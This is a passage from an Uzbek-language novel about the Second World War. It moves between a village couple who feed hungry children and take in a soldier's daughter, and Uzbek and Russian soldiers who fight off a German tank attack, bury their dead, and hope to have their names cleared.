абгорлиги бор гап эди. Оила бошлиқлари урушга кетган ёки кўп болали оилалар, айниқса танг ахволда қолганди. Баъзан Мунаввар хола ёки Шамсиддин тоғанинг ўзи шундай оилаларга буғдой, гуруч, нон элтиб берардилар. Одамларнинг оғирини озгина бўлса ҳам енгил қилишга эр-хотин ўзларида мажбурият сезишар, қийналган одамларни кўриб ич-ичларидан хўрсинардилар. Айниқса, ёзда бўлган бир воқеа тоғага қаттиқ таъсир қилди. Ҳар куни сигирни Мунаввар хола икки марта соғарди, лекин тўсатдан сигир қурғур кечқурунга бориб сут бермай қўйди. Икковиям ҳайрон. Эрталаб салкам бир челак сут беради-ю, кечқурун елини қуп-қуруқ, уч ойлик боласига ҳам сут қолмайди. Бунинг сирини тоға тасодифан билиб қолди. Бир куни асрни уйда ўқийман деб даладан эртароқ келди. Келаётса, четан деворнинг бурчагида ўн уч- ўн тўрт яшар бола биқиниб турибди. Тоға уни танимади. Нега биқиниб турганига ҳайрон бўлиб ариқ бўйидаги катта ўрикнинг панасига ўтирди-да, уни кузата бошлади. Бола ҳовлига қаради, кўчага қаради - ҳеч ким йўқлигига ишонгандан кейин шох- шаббаларнинг остидан эмаклаб ҳовлига кирди. Тоға ҳам қизиқиб қолиб яқинроқ келиб дарахтлар панасида кузатиб турди. Бола пусиб пойлаб турибди. Мунаввар хола уйга кириб кетиши билан югуриб борди-да, сигирга бир тутам ўт солди ва унинг ёнига ўтди. У ёқ- бу ёққа бир қараб олиб сигирнинг елинини тортди. Бир- икки тортиб тўсатдан сигирни эма бошлади. Тоға боланинг қилиғидан аввал кулди, кейин хомуш тортиб қолди. Анча пайтдан сўнг бола яна четан девор остидан кўчага ўтди. У ўрнидан турди-ю, олдида турган Шамсиддин тоғани кўриб серрайиб қолди. Кейин эса боши эгилиб тушди, елкалари қисилди. - Кимнинг ўғлисан, болам? - Мадамин аканинг. - Яқуб аканинг ўғли Мадаминми? Бола бошини ликкиллатиб тасдиқлади. - Дадангдан хат келяптими? * Баҳорда бир марта келганди,- боланинг кўзларидан дувиллаб ёш тўкилди, овози қалтираб кетди. - Сен каттасимисан? Укаларинг нечта? - Учта. - Хафа бўлма, ўғлим, дадангдан хат келади. Ҳали бу кунлар ҳам унут бўлиб кетади. Юр мен билан, ўғлим. Тоға кетмонни елкасига ташлади-ю, ишонч билан уй томон юрди. Бола ҳам иккиланиб-иккиланиб орқасидан эргашди. Тоғанинг келганини кўриб Мунаввар хола дарров сўрига дастурхон ёзди. Нон, қаймоқ олиб чиқди. "Бу ким?" дегандай савол назари билан эрига қаради. Тоға унга индама деб ишора қилди. - Совуқ чойин бўлса олиб чиқавер, чой қўйма, иссиқни қара. - Қани, нонни қаймоққа ботириб-ботириб ол. Лекин бола бошини қуйи солиб ўтираверди. - Хижолат бўлма, болам, айби йўқ, биз ҳам сендақа пайтимизда қўйларни, сигирларни эмиб қўярдик, эгалари қувиб юрарди,- деди тоға болани хижолатликдан чиқариш учун. Шундан кейингина бола бир тишлам нонни оғзига солди. Унинг мулзам бўлиб ўтирганини кўриб тоға ўрнидан турди. - Мен намозимни ўқиб чиқай, сен унгача қорнингни тўйдириб тур, кейин икковимиз бир иш қиламиз. Фақат кетиб қолмагин, хўпми? Сенга бир нарса бераман. Тоға уйга кириб кетар экан кампирининг саволчан нигоҳига бармоғини лабига босиб жавоб бердию Хола сўрига яқин келиб: - Айланай, болам, ол, тортинмай олиб ўтир,- деди-ю, ҳовли этагига ўтиб кетди. Тоға намозини ўқиб чиққанда бола ўшандай ўтирган, нонга қўл урмаганди. Фақат кўзларидаги ҳадик йўқолиб сал дадилланиб қолганди. Тоға уни авраб гапга солди. Маълум бўлдики, боланинг уч, беш, етти яшар укалари бўлиб, онаси билан баравар колхозда ишлар, кунлик нонларини укаларига берар, ортиб қолса, қишга талқон қиламиз деб қуритиб қўяр экан. У уйида фақат эрталаб чой ичиб, тушликда шийпонда бериладиган атала билан кифояланар, кечқурунги таоми эса шу сигирнинг сути эканини болаларча соддалик билан айтиб берди. - Ана, танишиб олдик, икковимиз дўст бўлиб қолдик, энди нонингни е,- манзират қилди тоға. - Қорним тўқ, майлими, уйга олиб кетсам?- сўради бола. -Уйингга бошқа бераман, буни ўзинг е,- деди тоға. Бола, барибир, нон еёлмади, томоғидан ўтмади, шекилли. Тоға ўрнидан туриб омборга кириб кетди. сал ўтмай чорак қоп буғдой олиб чиқди. - Буни укаларингга олиб борасан, нонингни емадинг, қопнинг ичига солиб ола қол. Бола бир қопга, бир тоғага қарар, бундай катта хазинани унга бераётганига ишонмасди. Ўша воқеадан кейин тоға кампирини бир-икки марта Мадаминнинг оиласига жўнатди. Ҳар сафар кампири кўтарганича ун, буғдой, гуруч олиб борди... Бу қишда эса яна бир эзгин воқеани бошдан кечирдилар. Ўша куни тоға кечки пайт Витяни гапга солиб ўтирар, Мунаввар хола ёнларида иш тикарди. Биров товуш берди. Овоз аёл кишиники бўлгани учун дарвозага хола чиқиб кетди. Бир чой қайнагунча вақт ўтса ҳамки, қайтиб киравермади. Шамсиддин тоға хавотирланиб ташқари чиқди. Мунавар хола юпунгина кийинган, ёшгина жувон билан гаплашиб турар, ёнларида ўн бир- ўн икки ёшли қизалоқ. - Ана, бобоси ҳам чиқиб қолди,- деди хола,- нима дерди қайтага хурсанд бўлади. Ҳай, Нуриддин, яқинроқ келинг. Жувон рўмоли билан юзини тўсиб салом берди. Тоға унга разм солди: эгнида пахтали тўн, бошида ёзги рўмол, оёғида калиш. Қизчанинг ахволи ҳам ундан кам эмас, юпун кийинганидан дилдираб турибди. - Ичкарига олиб кир, ичкарига. Аммо жувон унамади. - Ота, шу қизни боқиб олсангиз, сизга қиз бўлсин. Биздан қайтмаса, худодан қайтсин,- деди жувон йиғлаб,- мен уволига қолмай. - Ҳай, ундай дема, қизим, ундай дема. Нега уволига қоласан?- уни койиди тоға. Жувон йиғлай-йиғлай ахволини баён қилди. Мирзатурсин тракторчининг хотини, исми Моҳларой экан. Эри урушга кетгач, беш бола билан қолибди. Бу қизча ёлғиз қиз, учинчиси экан. Болалар анча қисилиб қолишибди. Ҳозир уйларида қўлга илингудек нарса қолмабди. Шу қиз очдан нобуд бўлмасин деб олиб келибди. - Ўғил болалар-ку, бир кунини кўрар, қиз бола нарса... Менга бир нарса бўлса, кўчада қолмасин дейман,- деб жувон қув-қув йўталди. - Ундай дема, қизим, ундай дема. Ҳали ҳаётинг олдинда, ҳали ёруғ кунларинг келади. Бу кунларинг ҳам унут бўлиб, бахмал кўрпачаларда ўтирасан. Болаларингнинг орзу-ҳавасини кўрасан,- тасалли берди тоға. Жувон йиғлаб юборди. Шу қистасалар ҳам уйга киришга кўнмади. Қизини бағрига босиб юзларини силади, сўнг таъкидлади: - Бобонг билан энангнинг айтганларини қилгин. Булар сенга кў-ўп нон беришади. Соғинганингда бориб тургин. У шундай деб бурилиб чиқиб кетмоқчи эди тоға тўхтатди. - Тўхта, қизим. Индинга менинг олдимга бир келиб кетгин, мен сенга дори тайёрлаб қўяман. Сал қаттиқроқ шамоллабсан, холос, ўтиб кетади. Ҳозир туриб тур,- Шамсиддин тоға уйга кириб кетиб ярим қоп нарса кўтариб Витяни ҳам бошлаб чиқди. Эшакни оғилдан олиб келди-да, жиловини Витяга тутқазди. - Бу холангнинг уйига олиб бориб ташлаб келасан. Бунда,- қопга ишора қилди,- буғдой, гуруч, сабзи, гўшт бор. Болаларингга бугун ош қилиб бергин. Жувон кетди, қизалоқ эса қолди. Мунаввар хола уни уйга олиб кириб қорнини тўйдирди, иссиқ-иссиқ чой ичирди. Қизалоқ тани яйраб, иссиққина сандалда ўтириб терлади, бироз ўтиб кўзлари хумор-хумор сузилиб қолди. - Айланай, қизим, уйқунг келдими? Ҳозир жой солиб бераман. Икковимиз бирга ётамиз,- хола гапириб юриб тахмондан кўрпа-тўшак олиб жой солди. Шу билан қизча шу ерда қолди. Аввалига Витядан ётсираб турса-да, кейинчалик чиқишиб кетди. Мунаввар хола унга бошдан оёқ янги кийим кийдирди. Чолига бозордан этик, пальто олиб келтирди. Қизалоқ оғир-босиқ, эсликкина экан. Индинига жувон яна келди. Тоға унга тайёрлаб қўйган дориларни бериб тайинлади: - Кандай қилмай, уч маҳалдан ичасан, ҳеч хавотир олма, касалинг тузаладиган касаллик. Сени касал қилган нарса - ўй. Юрсанг-турсанг, ўйланиб юрма. Урушга кетган бир сенинг эрингмиди, бу юртга келган тўй. Эртага эринг урушдан келса, илвираб, қалтираб, ярим жон бўлиб кутиб олмагин. Гул-гул очилиб кутиб олгин. Болаларингнинг ғамини еявермагин, эл бор, юрт бор, оч қолишмайди. Ўшалар учун ҳам кучли бўлишинг керак. Тоға унга насиҳат қилди, койиди, ўзига ишонч билан қараш лозимлигини уқтирди. Қиш бўйи Мунаввар хола Моҳларойнинг ҳолидан хабар олиб турди. Шамсиддин тоға колхоз идорасига бориб икки қоп буғдой ёздириб берди. Қош қорайди, тонг отди - қиш ҳам охирига етди. Баҳорнинг илк чечаклари кўрина бошлаган пайтларда Моҳларой ҳам ўзини тутиб олди. Энди у аввалгидай тушкун ҳолда эмас, соғлом, руҳи тетик аёлга айланди. Кунларнинг бирида яна келди. Ўзи билан тўртови ўғлини ҳам олиб келибди. Болаларнинг кичиги тўққиз, каттаси ўн беш яшар экан. Шамсиддин тоға ва Мунаввар хола билан очилиб гаплашди. - Болаларимнинг иккови каттаси колхозга чиқишяпти, тоға, ёнимга кириб қолишди,- деди. - Ана, сенга айтдим-ку, сен ўзингни ўзинг касал қилиб олгансан деб. Бундан бу ёғига ҳаммаси яхши бўлади. Ака-укаларини кўриб Гулбарчин йиғлаб юборди. Улар билан қучоқлашиб кўришди. Бирор соат ўтирганларидан кейин Моҳларой қўзғолмоқчи бўлди. Уларнинг кетиши дарагини эшитиб Гулбарчин мунғайиб қолди. У бир онасига, бир Мунаввар холага қарар, ака-укаларига жавдирарди. Унинг ҳолатини кўриб хола секин ёнига чақириб сўради: - Қизим, онанг билан кетасанми? Уйингни соғиндингми? Қиз жавоб бермади, лекин кўзларидан дувиллаб ёшлар тўкилди. Хола унинг бошини бағрига босди. - Майли, болам, майли. Онанг билан кетасан,- холанинг ҳам кўзлари намланди. Қизча югуриб онасининг ёнига ўтиб унинг бағрига суқилди.. - Хоҳишинг, қизим, қоламан десанг, қол. Кетаман десанг... Моҳларой гапини тугатмай Шамсиддин тоға гапга аралашди. - Уйимга кетаман десанг, битта шарт билан рухсат бераман: ҳар ҳафта келиб бу уйдаги ҳақингни олиб кетасан. Келмай қолсанг, бориб қулоғингдан чўзиб келаман. - Майли, бобоси, майли. Шундай қилади. Сиз айтганингизча бўлсин,- жилмайиб қизининг ўрнига жавоб берди Моҳларой. - Сенинг ўзингга ҳам гапим шу: бу қиз энди бизнинг қизимиз бўлди. То куёвга узатгунингча барча харажати бизнинг зиммамизда бўлади. Куёвга ҳам биз ўзимиз узатамиз. - Розиман, ота, розиман. Худоё умрингиз узоқ бўлсин. Якка-ю ёлғиз ўғлингиз урушдан соғ-омон келсин. - Ундай бўлса, онаси, ўчоққа ўт ёқ, яхшилаб ғовур-ғувур қилиб, талашиб-талашиб бир палов ейлик. Тоға Моҳларойни болалари билан кетишга қўймади. Хола унга хамир қилдирди, ўзи ўчоққа уринди. Паловни еб бўлгунларича хамир ҳам ачиди, дарров тандирга ўт қаладилар. Моҳларой нонни ёпгунча хола сандиғини очиб узоқ титкилади, ниҳоят, Моҳларой ва Гулбарчинга икки кийимлик мато олди. - Бунисини ўзингга, бунисини Гулбарчинга кўйлак қиласан, Наврўзга киясизлар,- деди. Катта дастурхонга янги ёпилган ноннинг ҳаммасини тугиб Моҳларойнинг қаршилигига қарамай ўғилларига тутқазди. " Янаги чоршанба куни дастурхонни Гулбарчиндан бериб юборасан", деб тайинлади. Тоға уларни узоқ дуо қилди. Шундан кейин улар кетишди. Ҳовли ҳувиллаб қолгандай бўлди. Ўрганиб қолган шеригининг кетиб қолганидан кўнгли чўккан Витя ҳам улар кўздан қочгунча дарвоза олдида ортларидан қараб қолди. ХХХ Янги йилдан бир неча кун ўтиб душман қаттиқ ҳужумга ўтди. Жанг бошланишидан олдин барча жангчилар бу сафар ҳал қилувчи ҳужумлардан бири эканини англаб турардилар. Кўплар иложи борича ётган жойларини мустаҳкамлашга киришди. Оёқ остларига ходалар ташланди ( сув тўпланадиган ерларга), окоплар қирғоғига тупроқ уйдилар, отиш қулай бўлиши учун махсус шинаклар ясадилар. Ҳужумдан олдин Фадеев Нуриддиннинг олдига келди. - Мен шу ерда сизлар билан жанг қиламан. - Ихтиёринг,- деди Азлар,- Петрушинга айтдингми? - Айтдим, рухсат берди. Ҳавога душман томонидан биринчи ракета отилиши билан артиллерия ишга тушди. Тупроқ ёғоч, қор аралаш ҳавога кўтарилар, қичқирган, бақирган овозлар дунёни тутганди. Снарядларнинг бири учови турган жойдан беш метрлар нарида портлади. Учови ҳам ўз вақтида балчиққа айланган окоп ичига ўзларини ташладилар. Устларига шувиллаб тупроқ тўкилди, окопнинг бир чети ўпирилиб устларига тушди. Беихтиёр ўзини ерга ташлаган Нуриддин елкасидан босиб тушган залворли нарсани сезди-ю, бир дам ҳушини йўқотди. У ўзига келганда кимдир қўлидан тортиб тупроқ остидан суғуриб олишга уринарди. У узатилган қўлни тутди-да, ўрнидан турмоқчи бўлди, лекин белидан зил-замбил бир нима босиб турарди. Пичадан кейин у йўқолди. Уни Фадеев тортиб олди. Нуриддин ҳеч нарсани эшитмас, қулоғи ғувилларди, холос. Кўзлари теварак-атрофга эловради. Ёнида Азлар пайдо бўлиб уни қаттиқ силкиди, юзига шапатилади, шунда қулоғи очилиб кетди, ўқлар, бақир-чақирларни эшитди. - Қардош, яхшимисан, эшитяпсанми мени?! - Энди эшитяпман! - Устимизга тупроқ, унинг устидан ходалар тушди. Азлар Нуриддиннинг елкаси, бели ва кўкракларини туртиб-туртиб кўрди. - Яхшимас, яхши! Ҳамма ёқ жойида! - Ётинглар! Ёт!- Фадеев биринчи бўлиб ўзини ерга ташлади. Унинг ортидан иккови. Яна снаряд портлади, фақат бу сафар узоқроққа тушгани учун зиён етказмади. Бу охирги снаряд бўлди. Бирдан бутун борлиқ бир неча дақиқа жимиб қолди. Гречковнинг овози эшитилди. - Тирик қолган борми? - Бу ерда биз тирикмиз!- овоз берди Азлар. Нарироқдан ҳам овозлар эшитилди. - Кварцов яраланган, ёрдам керак!- қичқирди биров. Фадеев шу заҳоти ўша томон югуриб кетди. Азлар билан Нуриддин ўзларини тартибга келтирдилар, қулай жойга сурилиб ўрнашиб олдилар. - Ҳозир бошланади, Нур, ўзингни эҳтиёт қил, дуо ўқи, кўпроқ ўқи, қардош,- деди у ўкинч билан,- ўзим тузукроқ ўқишни билмайман, калима келтиришни биламан, холос. - Шуни тилингдан қўйма, қардош, худо асрайди,- деди Нуриддин. Нуриддин қулоғини ерга тутди, оғир, титрашга ўхшаган овозлар эшитилди. - Келяпти, танклар келяпти. Азлар бошини секин кўтариб қаради. - Ҳали анча олисда,- у шундай деб милтиғини ёнига қўйди, камарига қистирилган икки гранатани ёнига олди. Нуриддин ҳам унга тақлид қилди. - Танкнинг пулемётидан ҳушёр бўл. Орқадаги пиёдаларни аниқ мўлжаллаймиз. Бир марта отгандан кейин дарров бошингни панага ол,- уқтирди Азлар. Нуриддин бош силкиди. Бу томонда тўплар ишга тушди. Яна борлиқни гумбурлаган овозлар босиб кетди. Сўнгги талвасадаги махлуқдай душман бостириб келарди. - Вў, биттасини ёндиришди!- тупроқ орасидан мўралаб турган Азлар қичқириб юборди. - Бу биринчиси, ҳали яна кўрасан,- кела солиб ўзини Нуриддиннинг ёнига ташлаган Фадеев унинг елкасига қоқди,- артиллериямизга мадад кучлар қўшилибди. - Сергей қандай?- сўради Нуриддин. - Оёғига ва қўлига осколка теккан, бойлаб қўйдик. Жангдан кейин орқага жўнатишади. Ҳозир жўнатишса, тозалов отряди отиб ташлайди, иложи йўқ. Танклар шовқини тобора яқинлашиб кела бошлади. Тепаларидан ўқлар визиллаб учди. Кетма-кет залп урилди. Пойлаб туриб Нуриддин секин мўралаб қаради. Уларнинг рўпарасидан икки танк шиддат билан келар, ортда пиёдалар бақир-чақир билан югуришарди. У Фадеевга танкларни кўрсатди. - Бу иккови бизники, артиллериячиларимиз буларга улгуришмайди, тайёрланинглар, йигитлар. Туртиниб-суртиниб Петрушин ёнларига келди. - Йигитлар, бу икковини тўхтатишимиз керак,- деди у ҳам, сўнг нариги томонга ўтиб кетди. Танклар окопга эллик метрлар қолганда Фадеев автоматини Нуриддинга тутди ва қўлига икки гранатани олиб олдинга эмаклади. Энди уни ҳимоя қилиш керак эди. Иккови унинг боши узра ошириб ўқ уза бошладилар. Оралиқ ўттиз қадамлар қолганда Вадим лоп этиб йўқолиб қолди. - У ўрага тушиб кетди,- дўстига қаради Азлар. Иккови ҳам хавотирда қолишди. Фадеев ётган чуқурга ўн қадамча қолганда танк устига граната ирғитилди. Кетма-кет икки марта портлашдан кейин танк таққа тўхтади. Люк очилиб немис танкисти ярим белигача чиқди-ю, боши пастга шилқиллаб тушиб шу кўйи қотиб қолди. Танк ортида келаётган пиёдаларни икковлон ҳар қанча отишмасин улар кўпчилик эди. Бунинг устига, изма-из иккинчи танк ҳам яқинлашиб қолганди. Нуриддин окопдан тез чиқди-ю, ўрмалаб олдинга интилди. У паналаб-паналаб Вадим ётган жойни мўлжаллаб етиб борди. Уни кўриб Вадимнинг кўзлари чақнаб кетди. - Нурик, сенла нечата?- сўради. Нуриддин индамай гранатанинг бирини унга узатди. - Эшит, Нурик, сен танкни урасан, мен кейин пиёдаларга отаман, тушундингми? - Тушундим. Ҳайбат билан гулдурос солиб келаётган қудратли техника ўн-ўн икки қадамлар қолганда Нуриддин бир сапчиб турди ва гранатани нақ танк пешонасига отди-ю, шу заҳоти ўзини ерга ташлади. Ўтган бир неча секундни Нуриддин гўё бир неча минут кутгандай бўлди. Аввал темирнинг темирга тарақлаб текани эшитилдими ё шундай туюлдими, шундан кейин портлаш эшитилди. - Отишимга ўзингни орқага оласан, тез Азларнинг олдига!- Фадеев гранатанинг ёндиргичини суғурган пайтда Нуриддин тайёр бўлиб турди. Вадим қўлидагини отди. Немис аскарлари олдида кўтарилган қуюндан фойдаланиб Нуриддин орқага эмаклаб югурди-ю, боши билан окопга шўнғиди. Унинг ортидан бир нарса гурсиллаб тушди. Бу Фадеев эди. - Улгурдим, улгурдим...- деди у оғзини каппа-каппа очиб. - Йигитла-а-ар-р!!!- Азларнинг овозидан иккови ҳам ўрнидан тура солиб милтиққа ёпишдилар. Немис автоматчилари тинимсиз ўқ отиб яқинлашиб қолишганди. Учови ҳам жон-жаҳдлари билан ҳаракат қилдилару улгурмадилар. Немислар етиб келишди. Окопга биринчи немис тушиши билан Вадим унинг бўғзидан олди. Иккинчи, учинчи, тўртинчиси сакраб тушди. Азлар милтиқни кўндаланг қилиб иккитасини урди, учинчисини Нуриддин қўнлоқ билан солди. Лекин яна ўнлаб немис бу ерга етиб келганди. Бир-бирининг ёқасидан олган, бўғган одамлар айқаш-уйқаш бўлиб кетдилар. Шу дамда Петрушин взводининг тирик қолган барча аскарлари ўзини шу ерга урди. Бирпасда ўттиз чоғли одам йиғилиб бир-бирини қирпичоқ қила бошлади. Ҳақиқий қўл жанги бошланди. Нуриддин милтиқ қўндоғи билан рўпара келганни урар, теварагида борлиқ секин, жуда секин айлана бошлади. У ҳамма нарсани аниқ-иниқ кўриб турар, кўринмас аллақандай куч уни бошқараётганди. Мана, бир немис унга автоматини тўғрилашга улгурди, Нуриддин эса милтиқ қўндоғини кўксига қалқон қилиб унга интилди. Қўлидаги милтиқ парча-парча бўлиб сочилди, очиқ қолган стволни немиснинг башарасига суқди. Орқадан биров немиснинг бошига урди. Ҳавога кўтарилган автоматдан бир билак ўт отилди. Ана, Дубовни бир немис автомат қўндоғи билан елкасига урди. Унинг овозини Нуриддин аниқ эшитди. - Сен мени урдингми?! Сен мени урдингми?! Дубов немисга шундай ваҳшатли бақирдики, немиснинг қўлидан автомат тушиб кетиб ўзини орқага олди. Дубов уни қувиб кетди. Шундай олатасирда немиснинг ҳам, Дубовнинг ҳам биров билан иши йўқ: бири қочар, бири қувиб борарди. Нуриддиннинг ёнида Азлар йиқилди. Унинг бошига автомат қўндоғини кўтарган немисга Нуриддин ўзини отди. Иккови ҳам ерга йиқилдилар. Қаёқдандир қўлига кириб қолган каска билан немисни ура бошлади. Кимдир уни туртиб юборди. У ўрнидан туриши билан ёнламаси туриб қолган бир немисни қулочкашлаб оғзи-бурнига солди. Биров уни туртиб ёнидан ўтиб кетди, сўнг иккинчиси ўтди. Булар ҳалиги немис ва Дубов эди. У ҳалиям ўша немисни қувиб юрарди. Кимдир немисни чалиб йиқитди. Дубов ўзини унинг устига отди. Бу олишув қанча давом этди - биров билмайди. Фақат бир маҳал немисча кимдир жонҳолатда бақирганидан кейин икки-уч немис окопдан сакраб чиқиб кетди. Петрушин қўлида калта лопатка, бошяланг, ёқавайрон ҳансираб турар, Фадеевнинг чаккаси қон, Азлар қўлида пичоқ, оғзидаги қонни артар, Дубов эса ҳали ҳам ҳалиги немиснинг устида эди. Фадеев унинг қўлидан ушлади. - Тўхта, бу мени урди!- бақирди Михаил. - У ўлди!- деди Вадим. - А?! Ўлдими?!- Дубов Вадимнинг юзига бир қараб тағин немисга қаради. - Тур ўрнингдан,- Вадим унинг қўлидан тортди. Қаёқдандир Гречков пайдо бўлиб қолди. Унинг ҳам кўриниши буларникидан кам эмасди. - Лихачёв ва Дрогба ҳалок бўлибди,- деди у ёрдам сўрагандай Петрушинга мўлтираб. Ҳаммалари унга тикилдилар. - Немис чекинди, командир, муҳими чекинди,- Петрушин куракчани окоп қирғоғига санчди,- ротадан нечта қолганимизни ҳисобла. Ярадорларга ёрдам беришимиз керак. - Ҳамманглар траншея бўйлаб тарқалинглар, ярадорларни бир ерга йиғишга ёрдам беринглар,- ўзига келиб буюрди Гречков. Окоплар мурдалар билан тўла эди. Баъзи жойларда қадам босишга жой йўқ. Нуриддин билан Вадим Евдоким Скородубовни қорнидан яраланган ҳолда ўликлар остидан тортиб олдилар. Кўтариб блиндажга олиб киришди. Бу ерда яна ўнтача ярадор бўлиб, Сергей Кварцов ҳам шу ерда эди. Бу пайтда Субботин штаб билан боғланиб тезроқ машина жўнатишларини талаб қилаётганди. Кечга яқин ўн тўрт арава ва иккита машина келди. Унгача ярадорларнинг кўплари жон берганди. Йигитлар Кварцов ва Скородубовни машинага жойлаштирдилар. Совқотиб қолишмасин деб устларига иккитадан шинель ташладилар. - Тузалиб кетсам, оқлашса ҳам сизларнинг ёнларингга қайтаман,- деди Кварцов. - Биз сен билан Берлингача борамиз,- унинг қўлини қисди Вадим,- майли ҳозирча. Машиналар жўнаб кетди. Гречковнинг буйруғи билан бир ерга йиғилдилар. Алексеев, Дубов, Фадеев, Громов, Петрушин, Нуриддин, Азлар ва яна тўрт жангчи. Охирида Кружилин келди. - Сен қайси пучмоқда эдинг?- сўради Вадим,- туришингдан жанг қилганга ўхшамайсан. - Туҳмат қилма. Мен сенга ҳисоб бермайман. - Жанжал қилманглар,- уларни босди Гречков,- ҳозир ҳамма рота блиндажини тартибга келтиради. Бу тун ҳамма шу ерда тунайди. Эрталаб ўликларни кўмишимиз керак. Ярим соатда у ёқ- бу ёқни тартиб келтирган бўлдилару қуюқ қилиб солинган похолга чўзилдилар. - Шу қирғиндан омон чиқдик, энди ўлмаймиз, йигитлар,- деди Громов шерикларига. - Биз, ахир, кўйлакда туғилганмиз,- писанда қилди Петрушин,- эҳ, қанийди шу охирги жанг бўлганда. - Омон бўлсак, охиргисини ҳам кўрамиз,- гап қўшди Азлар. - Нима бўлса ҳам бу немиснинг охирги ҳужуми бўлди, энди биз ҳужумга ўтамиз. Бу ёғига қувишни бошлаймиз, мана кўрасизлар. Немис Моквага киролмай бир дами кесилди,Сталинградда ҳам ахволи оғир дейишяпти. Айтишларича, бутун бир армияси қуршовда қолганмиш,- деди Громов,- ҳозир унинг кучи бўлиниб қолди. Бу ёққа заҳирадаги кучларини ташлай олмаяпти. Мен сизларга аниқ ишонч билан айтишим мумкинки, ўн-ўн беш кун ичида жуда кучли ҳужум уюштирамиз. Гап-сўзларни тинглаб ётиб Нуриддин қачон ухлаб қолганини биламай қолди. У шундай ҳолдан тойгандики, устига ўзлари окопдан келтирган шинеллардан бирини тортишга ҳам хафсала қилмади. Азлар унинг устига битта ортиқча шинелни ёпди-да, пичирлади: " Қардошим, бошинг омон бўлсин. Сенинг дуоларинг сабаб худо бизни бало-қазолардан сақласа ажаб эмас". ХХХ Эртасига бутун батальон ўликларни кўмиш ва окопларни тартибга келтириш билан машғул бўлди. Ўзимизнинг аскарларнинг жасадларини ажратиб алоҳида бир ерга жамладилар. Комбатнинг буйруғи билан ҳар бир майитга алоҳида-алоҳида қабр кавлашди. Бу анча вақт оларди. - Ҳар бирининг исм-фамилиясини бир бўлак ёғочга ўйиб ёзиб қўйинглар,- буюрди у,- эҳтимол, бир кун келиб буларнинг фарзандлари ёки набиралари излаб келишар. Ҳалок бўлган санаси ҳам аниқ кўрсатилсин. Уч кун давомида қаттиқ меҳнат қилдилар. Кун совуқ, ерга тупурсанг, тупургинг муз бўлиб тушади. Қорни очиб тараша ерларни кавлаб қабр кавладилар. Дарахтзордан танлаб ёғоч кесиб келишиб эринмасдан пичоқ билан ўйиб ёзишиб қабрларга ўрнатдилар. Бомба, снарядлардан ҳосил бўлган чуқурлар ҳисобсиз бўлса ҳам бундай жойларга ўз ўртоқларини шундоқ кўмиб ташлашни ҳеч ким истамасди. Ишлар битгандан кейин дивизия штабидан келган ёшгина капитан батальонни тўплаб суҳат ўтказди. У Москва остонасида душманнинг қиличи сингани, Самарқандда йиғилиб Оренбургда тайёргарликдан ўтган, асосан, ўрта осиёликлардан иборат бўлган жасур панфиловчиларнинг жасорати ҳақида билганларини гапириб берди. - Улар барчалари ҳалок бўлдилар, аммо ватанимиз юраги бўлган Москвани сақлаб қолдилар. Душман шаҳарга ёриб ўтолмади. Совет халқини енголмаслигини унга англатиб қўйдилар. - Капитан,- деди Фадеев қитмирлиги тутиб,- бизга улардан бирортасининг фамилиясини айтиб, бу шундай-шундай жасорат кўрсатди, бундай-бундай ишлар қилди деб айтиб берсанг, қизиқроқ бўларди. - Менда уларнинг фамилияси йўқ. Улар панфиловчи - тамом. Шунинг ўзи қаҳрамонлик рамзи. - А-а, фамилия фақат Панфиловда бўлганми?- анқовсираб сўради Алексеев. - Бас қилинг бунақа гапларни! Ким билан гаплашаётганингизни ёдингизда тутинг. Мен сиёсий бўлим номидан келганман,- деди капитан зарда билан. - Диққат билан қулоқ солинг,- уқтирди Субботин хўмрайиб,- гражданинг капитан сизлар ҳақингизда ижобий фикрда. Мен ҳар бирингиз ҳақингизда талабнома ташлаб келдим штабга. Яқинда шахсий ҳужжатларингиз гражданинг капитан бошчилигида бошқатдан ўрганиб чиқилади. Кечаги жангдан кейин мукофот тариқасида кўпларингизнинг ҳақ-ҳуқуқларингиз тикланади. Шундан кейин жангчилар капитаннинг гапини бўлмай тингладилар. Ярим соат маъруза қилгач, капитан Субботинга ўгирилди. - Комбат, қўл остингиздагиларнинг кимлиги бизга маълум. Биз сизнинг талабномангизни ўрганиб чиқишни бошлаганмиз. Яна бир неча кундан кейин душманга ҳужум уюштирамиз. Олдинги линияда сизлар бўласизлар. Ана шу жанг натижасига кўра хулоса чиқарамиз. - Ҳамма гапингиз тушунарли, гражданинг капитан, биз ўз номимизни оқлаб оламиз. - Фақат қонингиз билан оқлайсиз,- таъкидлади капитан. - Демак, биз ҳалок бўлсак оқлашар экан,- пичирлади Вадим Петрушинга. - Сен нима девдинг. Жанг қилдик - тамом, оқлашади девдингми? - Ҳа-а, бизнинг бепоён мамлакатимизда одамни ўлдирволиб кейин оқлайдилар. Капитан гапини тугатгандан кейин Субботинни ўзи билан юришга имлаб машинаси томон юрди. У ерда иккови анча гаплашиб турдилар. Капитан кетиб комбат қайтгандан сўнг Канаев унга рўпара бўлди. Комбатнинг чеҳраси тундроқ эди. - Нима бўлди, Алесей Иванович? - Ҳозирча фақат ҳалок бўлганлар иши кўрилади деяпти. - Майли, шунисига ҳам шукур, ҳеч бўлмаса, оилаларининг ҳуқуқлари тикланади-ку. - Мен ҳам шунисига шукур дедим. Эътироз билдирмадим. Иккови гаплашиб блиндаж томон юрдилар. - Василий, сизлар янги тўлдирилувчиларни қабул қилиб олишга тайёрланиб туринглар. Эрталаб мен штабга бориб янгиларни олиб келаман. Бугунча ҳаммага дам. Йигитлар чарчашди, дам олишсин. - Таъминот ҳам сўрайсанми? - Албатта сўрайман. Ҳеч бўлмаса, қуруқ нон бўлса ҳам сўрайман. Комбат ўз ертўласига, Канаев эса аскарларининг олдига кетди. Бу кун ҳамма ўзини тартибга келтириш, қурол-яроғини созлаш билан машғул бўлишларини айтишди.Петрушин аскарлари ҳам ўз жойларида, ҳамма ўз иши билан куймаланиб қолди. Нуриддин блиндаж бурчагидаги похол устида ўтириб пичирлаб оят ўқишни бошлади. Унинг ёнига Азлар ўтирди. Жимгина ўртоғининг қироатига қулоқ солиб ётиб олди. Уларнинг қизиқ бир нарсани ҳикоя қилишяпти деб ўйлади, шекилли, Алексеев ёнларига келиб қулоқ солди. Нуриддин тугатиб, иккови фотиҳа қилганларидан кейин сўради: - Бу қўшиқми? - Йўқ, бу Қуръон - муқаддас китобимиз,- деди Азлар. - Қандайдир ёқимли, сирли экан, илоҳий оҳанги бор экан. - Бу - яратганнинг каломи. - Илоҳий китобларда одамни ўзига тортадиган қанақадир сир бўлади, тушунолмайман. Агар уруш тугаса, ўрганишга уриниб 